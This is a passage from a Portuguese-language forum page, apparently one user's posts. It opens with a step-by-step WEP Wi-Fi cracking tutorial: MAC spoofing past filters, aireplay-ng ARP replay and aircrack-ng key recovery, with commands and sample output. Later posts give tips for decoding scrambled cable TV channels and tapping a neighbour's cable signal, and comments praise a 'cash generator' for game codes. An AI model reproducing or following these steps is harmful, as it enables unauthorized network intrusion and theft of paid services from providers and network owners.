    18:22:32 Sending Authentication Request

    18:22:32 Authentication successful

    18:22:32 Sending Association Request

    18:22:32 Association successful

    18:22:42 Sending keep-alive packet

    18:22:52 Sending keep-alive packet

     

    Mantenha esse terminal aberto para manter a associação falsa.

     

    Nota: Alguns AccessPoints possuem filtro por MAC Address. Caso a associação não funcione, utilize o tcpdump para achar um MAC que esteja liberado e troque o MAC da sua placa com o MacChanger.

     

    Um exemplo de execução de tcpdump seria:

    tcpdump -n -e -s0 -vvv -i interface_rede

     

    4 – Execução dos ataques

     

    4.1 – Abra um novo terminal e execute o aireplay para tentar gerar replicação de pacote ARP

    aireplay-ng -3 -b bssid -h mac_sua_placa interface_rede

     

    Onde:

    -3 = é o tipo de ataque ARP

    bssid = Mac do AccessPoint

    mac_sua_placa = Mac Address da sua placa de rede

    interface_rede = Interface da rede wifi

     

    Deixe o terminal parado por alguns minutos. Esse comando precisa de alguns pacotes ARP na rede para gerar o tráfego. Um usuário conectado com cabo no AP é suficiente para o ataque funcionar.

     

    Exemplo de um comando que está executando com sucesso:

    Saving ARP requests in replay_arp-0321-191525.cap

    You should also start airodump-ng to capture replies.

    Read 629399 packets (got 316283 ARP requests), sent 210955 packets…

     

    Se funcionar, você verá o número de IVs crescer absurdamente. Pare os comandos quando estiver com +- 80.000 IVs e pule para o passo 5.

     

    5 – Descubra a chave

    aircrack-ng -b bssid arquivo*.cap

     

    Onde:

    bssid = Mac do AccessPoint que está ativo capturando pacotes

    arquivo*.cap = Prefixo do arquivo colocado no comando 1

     

    Se tudo der certo, aparecerá no meio da tela:

    KEY FOUND! [ 12:34:56:78:90 ]

    Decrypted correctly: 100%

     

    Você nunca achará a chave original e sempre a chave em hexa. Remova os dois pontos “:” e tente conectar na rede. Bingo!!

     

    6 – Se algo saiu errado..

    Essa é a maneira mais fácil de conseguir a quebra. Há uma infinidade de jeitos de tentar gerar tráfego e IVs. Aqui vão alguns links que ajudarão a entender mais sobre os ataques:

     

    [Forma simples de crackear]

    É necessário se cadastrar para acessar o conteúdo.

     

    [Formas de aumentar os IVs]

    É necessário se cadastrar para acessar o conteúdo.

     

    É necessário se cadastrar para acessar o conteúdo.

  8. Tv Digital:

     

    Muita gente vem me perguntar no msn sobre como captar sinal de TV digital, como construir antena para TV digital, etc.

     

    O fato é que a TV digital está em testes na cidade de São Paulo e requer um pouco mais do que simples gambiarras que eu fiz com uma lata de batata pringles.

     

    O sinal é transmitido em UHF, e pra isso, você vai precisar de uma antena que capte sinal UHF. Além disso, precisará de um software para decodificar o sinal e converter em um streaming de vídeo e aúdio para ser visualizado e ouvido.

     

    O modo mais fácil e barato que vi até agora para assistir e captar tv digital é comprando um aparelho chamado PEN TV USB, que é uma espécie de pendrive, porém, com o hardware necessário para captar o sinal digital. Funciona em qualquer computador que tenha porta USB 2.0.

     

    No mercadolivre, achei duas referências:

     

    •AOC

    É necessário se cadastrar para acessar o conteúdo.

    •LeaderShip

    É necessário se cadastrar para acessar o conteúdo.

    Para assistir TV digital na sua TV, é necessário comprar o conversor. Se você tiver um notebook ou uma placa de vídeo/tv que tenha saída de vídeo, só conectar na TV e assistir.

     

    Existem vários conversores para TV digital no mercado. O site do Submarino oferece vários, além de ter feito uma apresentação legal sobre o que é, como usar, para que serve.

     

    É necessário se cadastrar para acessar o conteúdo.

     

    Tv a cabo:

     

    Para TV a cabo, o processo é bem diferente. Primeiro você vai precisar do sinal da TV a cabo na sua casa (ser assinante da NET, TVA, Telefônica TV, ou ter uma TV a gato). Precisa do cabo com conector coaxial na ponta, idêntico ao que é ligado no decodificador.

     

    Depois, precisará de um placa capturadora de vídeo, para que você coloque o cabo coaxial. Feito isso, basta baixar um software chamado Dscaler (Deinlterlacer). Esse software é capaz de sintonizar canais e de decodificar os canais que ficam com sinal embaralhado.

     

    DScaler é open source e free software e pode ser baixado no endereço

    É necessário se cadastrar para acessar o conteúdo.
    .

     

    Uma dica legal: Os assinantes que Vírtua que não possuem TV a Cabo contratada, podem usar um conector “T” para dividir o sinal do Vírtua e de quebra, podem assistir vários canais da NET que ficam abertos.

  9. Depois de um tempo pesquisando e fazendo testes, descobri uma forma de aumentar a velocidade da conexão 3G, como Claro 3G, Tim 3G, Vivo 3G.

     

    O primeiro ponto é a localização. Eu, por exemplo, moro em apartamento e por incrível que pareça, depois de mover um pouco da sala, pro quarto, cozinha, etc, achei um ponto que funciona bem na minha casa e traçando uma rota conectado, verifiquei que o sinal sai por dois gateways diferentes, dependendo de onde eu estiver na minha casa. Com o sinal bom, dando um “tracert

    É necessário se cadastrar para acessar o conteúdo.
    , foram necessários 6 saltos para chegar no destino.

     

    O segundo ponto é relativo ao DNS. Cansei de tentar acessar sites e a minha conexão 3G, além de parecer muito lenta, as vezes dava mensagem de “a página não pode ser exibida”. Dando um ipconfig /all, localizei a entrada DNS da minha conexão 3G e comecei a fazer testes para verificar o número de consultas que o DNS estava refugando. Por incrível que pareça, em um horário de pico, a cada 10 solicitações que eu fazia para o DNS (200.169.117.22 e 200.169.119.22), apenas 2 davam retorno, com um tempo de resposta altíssimo.

     

    Com essas informações em mãos, resolvi entrar em contato com a operadora – CLARO 3G , apenas para ter idéia do tipo de resposta que receberia e já meio que antevendo o que seria. Primeiro que passei quase 10 minutos para conseguir chegar em alguém que tivesse pelo menos o mínimo de conhecimento. A impressão que fiquei é que há uma resposta padrão do tipo: “Estamos com uma instabilidade de sinal no momento e peço que aguarde alguns minutos, caso o problema persista, entre em contato novamente”.

     

    Depois de questionar muito sobre a qualidade na recepção do sinal e o problema com os servidores de DNS, resolvi desistir de tentar brigar e tentar ver o que eu conseguia fazer para não ter que cancelar e assinar outra conexão (ufaaa, que paciência..).

     

    Para resolver o problema do DNS, achei o OPENDNS (

    É necessário se cadastrar para acessar o conteúdo.
    ), que é uma solução que substitui o DNS da claro por um mecanismo deles muito mais estável e com um monte de sistemas de balanceamento e cache o que o torna muito mais rápido.

     

    Depois de trocar as entradas de DNS, conectei através do melhor ponto de recepção da minha casa e posso comprovar que melhorou e muito a qualidade da navegação. Apesar disso, não recomendo o CLARO 3G para ninguém. Acho simplesmente um absurdo alguém vender algo que não funciona; se tiver uma opção melhor, sugiro ir atrás.

  10. Tem que tomar mmt cuidado, porque a maioria dos Hackers, tem virus, keylogers, ai dps os cara vai é reclama do post. qem mando baixar! eles vêe os cara comentando que tem virus mesmo assim vai e baixa! :S

     

     

    também concordo, pois hacker é só pra missão, mais n adianta falar né! smp tem os noob! :s

  11. É dificil conseguir mais tem que tentar,o iShenoon e horrivel,vc fecha e abre de novo e ele te da os mesmos Cartoes e Pin's.

     

     

     

    Vo ver ake Regis obrigado por compartilhar.

     

     

     

    APOIO:Gerador de cash do regis.

     

    Valeu Mano :D!

     

    Pelo - tentou rapaziada vl !! po pelo menoz tento apoio ele tanb vl

     

    Muito Obrigado tembém , é bom ouvir isto de voceis, porque a maioria só reclama :S

     

    Fasso oq Com os Codigos ?

     

    Vai no site e credita eles, é bem facil, apenas leia o tutorial!

×
×
  • Criar Novo...

Informação Importante

Nós fazemos uso de cookies no seu dispositivo para ajudar a tornar este site melhor. Você pode ajustar suas configurações de cookies , caso contrário, vamos supor que você está bem para continuar.